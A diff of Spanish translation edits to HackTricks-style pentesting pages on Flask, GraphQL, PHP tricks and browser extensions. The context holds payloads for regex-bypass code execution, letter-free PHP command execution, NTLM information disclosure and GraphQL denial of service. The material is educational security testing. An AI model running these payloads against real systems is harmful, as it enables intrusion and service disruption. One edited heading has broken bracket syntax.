 ### Hallazgos especiales
 
@@ -288,7 +288,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
 **Archivos interesantes**
 
 - Busca **enlaces** a otros archivos dentro de los **archivos CSS**.
-- [Si encuentras un _**.git**_ se puede extraer información](git.md)
+- [Si encuentras un archivo _**.git**_ se puede extraer información](git.md)
 - Si encuentras un _**.env**_ se puede encontrar información como claves API, contraseñas de bases de datos y otra información.
 - Si encuentras **endpoints API** [también deberías probarlos](web-api-pentesting.md). Estos no son archivos, pero probablemente "se verán como" ellos.
 - **Archivos JS**: En la sección de spidering se mencionaron varias herramientas que pueden extraer rutas de archivos JS. Además, sería interesante **monitorear cada archivo JS encontrado**, ya que en algunas ocasiones, un cambio puede indicar que se introdujo una vulnerabilidad potencial en el código. Podrías usar por ejemplo [**JSMon**](https://github.com/robre/jsmon)**.**
@@ -298,7 +298,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
 - **Desofuscación de JsFuck** (javascript con caracteres:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
 - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
 - En varias ocasiones, necesitarás **entender las expresiones regulares** utilizadas. Esto será útil: [https://regex101.com/](https://regex101.com) o [https://pythonium.net/regex](https://pythonium.net/regex)
-- También podrías **monitorear los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad vulnerable potencial.
+- También podrías **monitorear los archivos donde se detectaron formularios**, ya que un cambio en el parámetro o la aparición de un nuevo formulario puede indicar una nueva funcionalidad potencialmente vulnerable.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -312,7 +312,7 @@ Si alguna página **responde** con ese **código**, probablemente sea un **proxy
 
 **Autenticación NTLM - Divulgación de información**
 
-Si el servidor en ejecución que solicita autenticación es **Windows** o encuentras un inicio de sesión que pide tus **credenciales** (y solicita el **nombre** **de dominio**), puedes provocar una **divulgación de información**.\
+Si el servidor en ejecución solicita autenticación y es **Windows** o encuentras un inicio de sesión pidiendo tus **credenciales** (y pidiendo el **nombre de dominio**), puedes provocar una **divulgación de información**.\
 **Envía** el **encabezado**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` y debido a cómo funciona la **autenticación NTLM**, el servidor responderá con información interna (versión de IIS, versión de Windows...) dentro del encabezado "WWW-Authenticate".\
 Puedes **automatizar** esto utilizando el **plugin de nmap** "_http-ntlm-info.nse_".
 

src/network-services-pentesting/pentesting-web/flask.md

@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**Probablemente, si estás participando en un CTF, una aplicación Flask estará relacionada con** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
+**Probablemente, si estás participando en un CTF, una aplicación Flask estará relacionada con** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**
 
 ## Cookies
 
@@ -58,7 +58,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
 ```
 ### SQLi en la cookie de sesión de Flask con SQLmap
 
-[**Este ejemplo**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) utiliza la opción `eval` de sqlmap para **firmar automáticamente las cargas útiles de sqlmap** para Flask utilizando un secreto conocido.
+[**Este ejemplo**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) utiliza la opción `eval` de sqlmap para **firmar automáticamente las cargas útiles de sqlmap** para Flask usando un secreto conocido.
 
 ## Proxy de Flask a SSRF
 

src/network-services-pentesting/pentesting-web/graphql.md

@@ -4,11 +4,11 @@
 
 ## Introducción
 
-GraphQL se **destaca** como una **alternativa eficiente** a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. En contraste con REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una **solicitud única**. Esta simplificación **beneficia significativamente a los desarrolladores** al disminuir la complejidad de sus procesos de obtención de datos.
+GraphQL es **destacado** como una **alternativa eficiente** a REST API, ofreciendo un enfoque simplificado para consultar datos desde el backend. En contraste con REST, que a menudo requiere numerosas solicitudes a través de diversos endpoints para recopilar datos, GraphQL permite obtener toda la información necesaria a través de una **solicitud única**. Esta simplificación **beneficia significativamente a los desarrolladores** al disminuir la complejidad de sus procesos de obtención de datos.
 
 ## GraphQL y Seguridad
 
-Con la llegada de nuevas tecnologías, incluido GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que **GraphQL no incluye mecanismos de autenticación por defecto**. Es responsabilidad de los desarrolladores implementar tales medidas de seguridad. Sin la autenticación adecuada, los endpoints de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo.
+Con la llegada de nuevas tecnologías, incluido GraphQL, también surgen nuevas vulnerabilidades de seguridad. Un punto clave a tener en cuenta es que **GraphQL no incluye mecanismos de autenticación por defecto**. Es responsabilidad de los desarrolladores implementar tales medidas de seguridad. Sin una autenticación adecuada, los endpoints de GraphQL pueden exponer información sensible a usuarios no autenticados, lo que representa un riesgo de seguridad significativo.
 
 ### Ataques de Fuerza Bruta en Directorios y GraphQL
 
@@ -23,7 +23,7 @@ Para identificar instancias de GraphQL expuestas, se recomienda la inclusión de
 - `/graphql/api`
 - `/graphql/graphql`
 
-Identificar instancias de GraphQL abiertas permite examinar las consultas admitidas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema admite. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: [**GraphQL: Un lenguaje de consulta para APIs.**](https://graphql.org/learn/introspection/)
+Identificar instancias de GraphQL abiertas permite examinar las consultas soportadas. Esto es crucial para entender los datos accesibles a través del endpoint. El sistema de introspección de GraphQL facilita esto al detallar las consultas que un esquema soporta. Para más información sobre esto, consulta la documentación de GraphQL sobre introspección: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
 
 ### Huella Digital
 
@@ -41,7 +41,7 @@ Graphql generalmente soporta **GET**, **POST** (x-www-form-urlencoded) y **POST*
 
 #### Introspección
 
-Para usar la introspección y descubrir información del esquema, consulta el campo `__schema`. Este campo está disponible en el tipo raíz de todas las consultas.
+Para usar la introspección para descubrir información del esquema, consulta el campo `__schema`. Este campo está disponible en el tipo raíz de todas las consultas.
 ```bash
 query={__schema{types{name,fields{name}}}}
 ```
@@ -172,7 +172,7 @@ Si la introspección está habilitada, puedes usar [**GraphQL Voyager**](https:/
 
 Ahora que sabemos qué tipo de información se guarda dentro de la base de datos, intentemos **extraer algunos valores**.
 
-En la introspección puedes encontrar **qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la imagen siguiente puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto flag.
+En la introspección puedes encontrar **qué objeto puedes consultar directamente** (porque no puedes consultar un objeto solo porque existe). En la siguiente imagen puedes ver que el "_queryType_" se llama "_Query_" y que uno de los campos del objeto "_Query_" es "_flags_", que también es un tipo de objeto. Por lo tanto, puedes consultar el objeto flag.
 
 ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
 
@@ -202,7 +202,7 @@ Sin embargo, en este ejemplo, si intentas hacerlo, obtienes este **error**:
 ![](<../../images/image (1042).png>)
 
 Parece que de alguna manera buscará utilizando el argumento "_**uid**_" de tipo _**Int**_.\
-De todos modos, ya lo sabíamos, en la sección de [Basic Enumeration](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
+De todos modos, ya sabíamos eso, en la sección [Basic Enumeration](graphql.md#basic-enumeration) se propuso una consulta que nos mostraba toda la información necesaria: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
 
 Si lees la imagen proporcionada cuando ejecuto esa consulta, verás que "_**user**_" tenía el **arg** "_**uid**_" de tipo _Int_.
 
@@ -334,7 +334,7 @@ releaseYear
 ```
 ### Sobrecarga de Directivas
 
-Como se explica en [**una de las vulnerabilidades descritas en este informe**](https://www.landh.tech/blog/20240304-google-hack-50000/), una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible realizar un DoS.
+Como se explicó en [**una de las vulnerabilidades descritas en este informe**](https://www.landh.tech/blog/20240304-google-hack-50000/), una sobrecarga de directivas implica llamar a una directiva incluso millones de veces para hacer que el servidor desperdicie operaciones hasta que sea posible realizar un DoS.
 
 ### Agrupación de fuerza bruta en 1 solicitud API
 
@@ -351,7 +351,7 @@ Como podemos ver en la captura de pantalla de la respuesta, la primera y la terc
 
 ## GraphQL Sin Introspección
 
-Cada vez más **puntos finales de graphql están deshabilitando la introspección**. Sin embargo, los errores que graphql lanza cuando se recibe una solicitud inesperada son suficientes para que herramientas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recreen la mayor parte del esquema.
+Cada vez más **puntos finales de graphql están deshabilitando la introspección**. Sin embargo, los errores que graphql lanza cuando se recibe una solicitud inesperada son suficientes para que herramientas como [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) recrean la mayor parte del esquema.
 
 Además, la extensión de Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observa las solicitudes de API de GraphQL que pasan a través de Burp** y **construye** un **esquema** interno de GraphQL con cada nueva consulta que ve. También puede exponer el esquema para GraphiQL y Voyager. La extensión devuelve una respuesta falsa cuando recibe una consulta de introspección. Como resultado, GraphQuail muestra todas las consultas, argumentos y campos disponibles para su uso dentro de la API. Para más información [**ver esto**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
 
@@ -425,9 +425,9 @@ Por lo tanto, dado que las solicitudes CSRF como las anteriores se envían **sin
 
 Sin embargo, tenga en cuenta que el nuevo valor predeterminado de la cookie del flag `samesite` de Chrome es `Lax`. Esto significa que la cookie solo se enviará desde un sitio web de terceros en solicitudes GET.
 
-Tenga en cuenta que generalmente es posible enviar la **solicitud** **de consulta** también como una **solicitud GET y el token CSRF podría no estar validado en una solicitud GET.**
+Tenga en cuenta que generalmente es posible enviar la **solicitud** **de consulta** también como una **solicitud GET y el token CSRF podría no ser validado en una solicitud GET.**
 
-Además, abusando de un [**XS-Search**](../../pentesting-web/xs-search/) **ataque** podría ser posible exfiltrar contenido del endpoint de GraphQL abusando de las credenciales del usuario.
+Además, abusando de un [**XS-Search**](../../pentesting-web/xs-search/index.html) **ataque** podría ser posible exfiltrar contenido del endpoint de GraphQL abusando de las credenciales del usuario.
 
 Para más información **verifique el** [**post original aquí**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
 
@@ -459,7 +459,7 @@ La mutación podría incluso llevar a la toma de control de la cuenta al intenta
 
 [Encadenar consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) juntas puede eludir un sistema de autenticación débil.
 
-En el ejemplo a continuación, puedes ver que la operación es "forgotPassword" y que solo debería ejecutar la consulta forgotPassword asociada. Esto se puede eludir agregando una consulta al final, en este caso agregamos "register" y una variable de usuario para que el sistema registre a un nuevo usuario.
+En el ejemplo a continuación, puedes ver que la operación es "forgotPassword" y que solo debería ejecutar la consulta forgotPassword asociada. Esto se puede eludir añadiendo una consulta al final; en este caso, añadimos "register" y una variable de usuario para que el sistema registre a un nuevo usuario.
 
 <figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
 
@@ -471,7 +471,7 @@ Para una comprensión detallada de los alias de GraphQL, se recomienda el siguie
 
 Si bien el propósito principal de los alias es reducir la necesidad de numerosas llamadas a la API, se ha identificado un caso de uso no intencionado donde los alias pueden ser aprovechados para ejecutar ataques de fuerza bruta en un endpoint de GraphQL. Esto es posible porque algunos endpoints están protegidos por limitadores de tasa diseñados para frustrar ataques de fuerza bruta al restringir el **número de solicitudes HTTP**. Sin embargo, estos limitadores de tasa pueden no tener en cuenta el número de operaciones dentro de cada solicitud. Dado que los alias permiten la inclusión de múltiples consultas en una sola solicitud HTTP, pueden eludir tales medidas de limitación de tasa.
 
-Considera el ejemplo proporcionado a continuación, que ilustra cómo se pueden usar consultas con alias para verificar la validez de los códigos de descuento de la tienda. Este método podría eludir la limitación de tasa ya que compila varias consultas en una sola solicitud HTTP, lo que potencialmente permite la verificación de numerosos códigos de descuento simultáneamente.
+Considera el ejemplo proporcionado a continuación, que ilustra cómo se pueden usar consultas con alias para verificar la validez de los códigos de descuento de la tienda. Este método podría eludir la limitación de tasa, ya que compila varias consultas en una sola solicitud HTTP, lo que potencialmente permite la verificación de numerosos códigos de descuento simultáneamente.
 ```bash
 # Example of a request utilizing aliased queries to check for valid discount codes
 query isValidDiscount($code: Int) {
@@ -539,7 +539,7 @@ Y luego **usa algunos de los personalizados**.
 
 ### **Vulnerabilidad de Duplicación de Campos**
 
-**La Duplicación de Campos** es una vulnerabilidad donde un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de manera redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, causando una alta carga y potencialmente llevando a un **Denial of Service (DoS)**.
+**Duplicación de Campos** es una vulnerabilidad donde un servidor GraphQL permite consultas con el mismo campo repetido en exceso. Esto obliga al servidor a resolver el campo de manera redundante para cada instancia, consumiendo recursos significativos (CPU, memoria y llamadas a la base de datos). Un atacante puede crear consultas con cientos o miles de campos repetidos, causando una alta carga y potencialmente llevando a un **Denial of Service (DoS)**.
 ```bash
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@@ -552,10 +552,10 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 
 - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Prueba configuraciones incorrectas comunes de endpoints graphql
 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Script de auditoría de seguridad de GraphQL con un enfoque en realizar consultas y mutaciones de GraphQL por lotes.
-- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identificar el graphql que se está utilizando
-- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Conjunto de herramientas que se puede utilizar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas a un tipo dado.
-- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Se puede utilizar como independiente o [extensión de Burp](https://github.com/doyensec/inql).
-- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede utilizar como cliente CLI para automatizar ataques
+- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Identifica el graphql que se está utilizando
+- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Kit de herramientas que se puede usar para obtener esquemas y buscar datos sensibles, probar autorización, forzar esquemas y encontrar rutas a un tipo dado.
+- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Se puede usar como independiente o [extensión de Burp](https://github.com/doyensec/inql).
+- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): También se puede usar como cliente CLI para automatizar ataques
 - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Herramienta que lista las diferentes formas de **alcanzar un tipo dado en un esquema GraphQL**.
 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): El sucesor de los modos independiente y CLI de InQL
 - [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Extensión de Burp para pruebas avanzadas de GraphQL. El _**Escáner**_ es el núcleo de InQL v5.0, donde puedes analizar un endpoint de GraphQL o un archivo de esquema de introspección local. Genera automáticamente todas las posibles consultas y mutaciones, organizándolas en una vista estructurada para tu análisis. El componente _**Atacante**_ te permite ejecutar ataques por lotes de GraphQL, lo que puede ser útil para eludir límites de tasa mal implementados.

src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

@@ -19,7 +19,7 @@ Ubicaciones:
 /tmp/
 Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
 ```
-## Bypass de comparaciones PHP
+## Bypass de comparaciones en PHP
 
 ### Comparaciones sueltas/Juggling de tipos ( == )
 
@@ -73,7 +73,7 @@ Incluso si se está utilizando `===`, podría haber errores que hacen que la com
 
 #### Bypass de nueva línea
 
-Sin embargo, al delimitar el inicio de la regexp, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, por lo que si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de eludir esta verificación. Ejemplo:
+Sin embargo, al delimitar el inicio de la regexp, `preg_match()` **solo verifica la primera línea de la entrada del usuario**, entonces, si de alguna manera puedes **enviar** la entrada en **varias líneas**, podrías ser capaz de eludir esta verificación. Ejemplo:
 ```php
 $myinput="aaaaaaa
 11111111"; //Notice the new line
@@ -97,7 +97,7 @@ Encuentra un ejemplo aquí: [https://ramadistra.dev/fbctf-2019-rceservice](https
 #### **Bypass de error de longitud**
 
 (Este bypass se intentó aparentemente en PHP 5.2.5 y no pude hacerlo funcionar en PHP 7.3.15)\
-Si puedes enviar a `preg_match()` una **entrada válida muy grande**, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar:
+Si puedes enviar a `preg_match()` una **entrada muy grande** válida, **no podrá procesarla** y podrás **eludir** la verificación. Por ejemplo, si está bloqueando un JSON, podrías enviar:
 ```bash
 payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
 ```
@@ -109,12 +109,12 @@ Truco de: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wr
 
 <figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
 
-En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que consume mucho espacio en la pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [se establece por defecto en 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila.
+En resumen, el problema ocurre porque las funciones `preg_*` en PHP se basan en la [biblioteca PCRE](http://www.pcre.org/). En PCRE, ciertas expresiones regulares se emparejan utilizando muchas llamadas recursivas, lo que consume mucho espacio en la pila. Es posible establecer un límite en la cantidad de recursiones permitidas, pero en PHP este límite [por defecto es 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), que es más de lo que cabe en la pila.
 
 [Este hilo de Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) también fue vinculado en la publicación donde se habla más a fondo sobre este problema. Nuestra tarea ahora estaba clara:\
 **Enviar una entrada que hiciera que la regex realizara 100_000+ recursiones, causando SIGSEGV, haciendo que la función `preg_match()` devolviera `false`, haciendo que la aplicación pensara que nuestra entrada no es maliciosa, lanzando la sorpresa al final de la carga útil algo como `{system(<verybadcommand>)}` para obtener SSTI --> RCE --> flag :)**.
 
-Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) se establece por defecto en 1_000_000 (1M) en la variable `pcre.backtrack_limit`.\ 
+Bueno, en términos de regex, en realidad no estamos haciendo 100k "recursiones", sino que estamos contando "pasos de retroceso", que como indica la [documentación de PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) por defecto es 1_000_000 (1M) en la variable `pcre.backtrack_limit`.\ 
 Para alcanzar eso, `'X'*500_001` resultará en 1 millón de pasos de retroceso (500k hacia adelante y 500k hacia atrás):
 ```python
 payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@@ -153,10 +153,10 @@ Check:
 ## More tricks
 
 - **register_globals**: En **PHP < 4.1.1.1** o si está mal configurado, **register_globals** puede estar activo (o su comportamiento está siendo imitado). Esto implica que en variables globales como $\_GET si tienen un valor e.g. $\_GET\["param"]="1234", puedes acceder a él a través de **$param. Por lo tanto, al enviar parámetros HTTP puedes sobrescribir variables\*\* que se utilizan dentro del código.
-- Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la otra ruta** configurando el valor de la cookie de la otra ruta.\
-De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en path1 se aplique a path2**. Y luego path2 tomará como válidos los variables de path1 (dándole a la cookie el nombre que le corresponde en path2).
+- Las **cookies PHPSESSION del mismo dominio se almacenan en el mismo lugar**, por lo tanto, si dentro de un dominio **se utilizan diferentes cookies en diferentes rutas** puedes hacer que una ruta **acceda a la cookie de la ruta** estableciendo el valor de la cookie de la otra ruta.\
+De esta manera, si **ambas rutas acceden a una variable con el mismo nombre** puedes hacer que el **valor de esa variable en path1 se aplique a path2**. Y luego path2 tomará como válidos las variables de path1 (dándole a la cookie el nombre que le corresponde en path2).
 - Cuando tengas los **nombres de usuario** de los usuarios de la máquina. Verifica la dirección: **/\~\<USERNAME>** para ver si los directorios php están activados.
-- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/)
+- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
 
 ### password_hash/password_verify
 
@@ -183,7 +183,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
 ```
 #### Llenando un cuerpo antes de establecer encabezados
 
-Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima de vuelta algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor genere un error.\
+Si una **página PHP está imprimiendo errores y devolviendo alguna entrada proporcionada por el usuario**, el usuario puede hacer que el servidor PHP imprima algún **contenido lo suficientemente largo** para que cuando intente **agregar los encabezados** a la respuesta, el servidor genere un error.\
 En el siguiente escenario, el **atacante hizo que el servidor generara algunos errores grandes**, y como puedes ver en la pantalla, cuando PHP intentó **modificar la información del encabezado, no pudo** (por ejemplo, el encabezado CSP no se envió al usuario):
 
 ![](<../../../images/image (1085).png>)
@@ -202,7 +202,7 @@ php-ssrf.md
 &#xNAN;**\`ls\`;**\
 **shell_exec("ls");**
 
-[Consulta esto para más funciones útiles de PHP](php-useful-functions-disable_functions-open_basedir-bypass/)
+[Consulta esto para más funciones útiles de PHP](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
 
 ### **RCE a través de** **preg_replace()**
 ```php
@@ -256,7 +256,7 @@ function foo($x,$y){
 usort();}phpinfo;#, "cmp");
 }?>
 ```
-Puedes también usar **//** para comentar el resto del código.
+Puedes usar también **//** para comentar el resto del código.
 
 Para descubrir el número de paréntesis que necesitas cerrar:
 
@@ -308,7 +308,7 @@ phpinfo();
 ?>
 
 ```
-## Bypass de sanitización de PHP y Brain Fuck
+## PHP Sanitization bypass & Brain Fuck
 
 [**En esta publicación**](https://blog.redteam-pentesting.de/2024/moodle-rce/) es posible encontrar grandes ideas para generar un código PHP de brain fuck con muy pocos caracteres permitidos.\
 Además, también se propone una forma interesante de ejecutar funciones que les permitió eludir varias verificaciones:
@@ -329,9 +329,9 @@ Si estás depurando una aplicación PHP, puedes habilitar globalmente la impresi
 
 Puedes usar el **web**[ **www.unphp.net**](http://www.unphp.net) **para desofuscar código php.**
 
-## Envolturas y Protocolos de PHP
+## Envolturas y protocolos PHP
 
-Las envolturas y protocolos de PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
+Las envolturas y protocolos PHP podrían permitirte **eludir las protecciones de escritura y lectura** en un sistema y comprometerlo. Para [**más información consulta esta página**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
 
 ## RCE no autenticada de Xdebug
 
@@ -349,7 +349,7 @@ echo "${Da}"; //Drums
 echo "$x ${$x}"; //Da Drums
 echo "$x ${Da}"; //Da Drums
 ```
-## RCE abusando de $\_GET\["a"]\($\_GET\["b"])
+## RCE abusando de $\_GET\["a"]\($\_GET\["b")
 
 Si en una página puedes **crear un nuevo objeto de una clase arbitraria** podrías obtener RCE, consulta la siguiente página para aprender cómo:
 
@@ -381,7 +381,7 @@ ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
 
 $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
 ```
-Entonces, si puedes **ejecutar PHP arbitrario sin números ni letras**, puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario:
+Entonces, si puedes **ejecutar PHP arbitrario sin números y letras** puedes enviar una solicitud como la siguiente abusando de esa carga útil para ejecutar PHP arbitrario:
 ```
 POST: /action.php?_=system&__=cat+flag.php
 Content-Type: application/x-www-form-urlencoded

src/pentesting-web/browser-extension-pentesting-methodology/README.md

@@ -22,7 +22,7 @@ El núcleo de la extensión contiene la mayoría de los privilegios/accesos de l
 
 ### **Binario Nativo**
 
-La extensión permite un binario nativo que puede **acceder a la máquina host con los privilegios completos del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones de plugins de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos de navegador.
+La extensión permite un binario nativo que puede **acceder a la máquina host con todos los privilegios del usuario.** El binario nativo interactúa con el núcleo de la extensión a través de la interfaz de programación de aplicaciones de plugins de Netscape estándar ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) utilizada por Flash y otros complementos de navegador.
 
 ### Límites
 
@@ -243,7 +243,7 @@ Las extensiones de navegador pueden contener varios tipos de páginas:
 
 <figure><img src="../../images/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
 
-Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según la necesidad. A pesar de esto, comparten ciertas capacidades con la página de fondo:
+Ten en cuenta que estas páginas no son persistentes como las páginas de fondo, ya que cargan contenido dinámicamente según sea necesario. A pesar de esto, comparten ciertas capacidades con la página de fondo:
 
 - **Comunicación con Scripts de Contenido:** Similar a la página de fondo, estas páginas pueden recibir mensajes de scripts de contenido, facilitando la interacción dentro de la extensión.
 - **Acceso a APIs Específicas de la Extensión:** Estas páginas disfrutan de acceso completo a APIs específicas de la extensión, sujeto a los permisos definidos para la extensión.
@@ -276,7 +276,7 @@ Para más información sobre CSP y posibles bypasses, consulta:
 
 ### `web_accessible_resources`
 
-Para que una página web acceda a una página de una extensión de navegador, por ejemplo, una página `.html`, esta página debe mencionarse en el campo **`web_accessible_resources`** del `manifest.json`.\
+Para que una página web acceda a una página de una extensión de navegador, una página `.html`, por ejemplo, esta página debe mencionarse en el campo **`web_accessible_resources`** del `manifest.json`.\
 Por ejemplo:
 ```javascript
 {
@@ -317,7 +317,7 @@ browext-clickjacking.md
 > Permitir que estas páginas se carguen solo por la extensión y no por URLs aleatorias podría prevenir ataques de ClickJacking.
 
 > [!CAUTION]
-> Tenga en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también son capaces de **contactar scripts en segundo plano**. Así que si una de estas páginas es vulnerable a **XSS**, podría abrir una vulnerabilidad mayor.
+> Tenga en cuenta que las páginas de **`web_accessible_resources`** y otras páginas de la extensión también son capaces de **contactar scripts de fondo**. Así que si una de estas páginas es vulnerable a **XSS**, podría abrir una vulnerabilidad mayor.
 >
 > Además, tenga en cuenta que solo puede abrir páginas indicadas en **`web_accessible_resources`** dentro de iframes, pero desde una nueva pestaña es posible acceder a cualquier página en la extensión conociendo el ID de la extensión. Por lo tanto, si se encuentra un XSS abusando de los mismos parámetros, podría ser explotado incluso si la página no está configurada en **`web_accessible_resources`**.
 
@@ -338,11 +338,11 @@ Según la [**documentación**](https://developer.chrome.com/docs/extensions/refe
 Cuantas **menos extensiones y URLs** se indiquen aquí, **menor será la superficie de ataque**.
 
 > [!CAUTION]
-> Si una página web **vulnerable a XSS o takeover** se indica en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, eludiendo completamente el Content Script y su CSP.
+> Si una página web **vulnerable a XSS o toma de control** se indica en **`externally_connectable`**, un atacante podrá **enviar mensajes directamente al script de fondo**, eludiendo completamente el Content Script y su CSP.
 >
 > Por lo tanto, este es un **bypass muy poderoso**.
 >
-> Además, si el cliente instala una extensión maliciosa, incluso si no se le permite comunicarse con la extensión vulnerable, podría inyectar **datos XSS en una página web permitida** o abusar de las APIs **`WebRequest`** o **`DeclarativeNetRequest`** para manipular solicitudes en un dominio objetivo alterando la solicitud de una **archivo JavaScript**. (Tenga en cuenta que el CSP en la página objetivo podría prevenir estos ataques). Esta idea proviene de [**este artículo**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
